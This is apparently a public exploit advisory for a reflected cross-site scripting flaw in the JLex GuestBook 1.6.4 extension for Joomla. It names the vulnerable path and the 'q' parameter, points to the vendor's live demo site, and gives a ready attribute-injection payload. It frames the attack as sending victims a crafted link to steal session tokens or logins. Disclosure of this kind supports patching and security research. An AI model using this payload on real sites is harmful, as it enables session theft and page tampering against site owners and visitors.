Joomla JLex GuestBook 1.6.4 Cross Site Scripting

`# Exploit Title: JLex GuestBook 1.6.4 - Reflected XSS  
# Exploit Author: CraCkEr  
# Date: 01/08/2023  
# Vendor: JLexArt  
# Vendor Homepage: https://jlexart.com/  
# Software Link: https://extensions.joomla.org/extension/contacts-and-feedback/guest-book/jlex-guestbook/  
# Demo: https://jlexguestbook.jlexart.com/  
# Tested on: Windows 10 Pro  
# Impact: Manipulate the content of the site   
  
  
## Greetings  
  
The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka   
CryptoJob (Twitter) twitter.com/0x0CryptoJob  
  
  
## Description  
  
The attacker can send to victim a link containing a malicious URL in an email or instant message  
can perform a wide variety of actions, such as stealing the victim's session token or login credentials  
  
  
Path: /u/perry-705  
  
GET parameter 'q' is vulnerable to XSS  
  
http://website/u/perry-705?q=[XSS]&wl=1  
  
  
XSS Payloads:  
  
db8ck"onfocus="confirm(1)"autofocus="xwu0k  
  
  
[-] Done  
`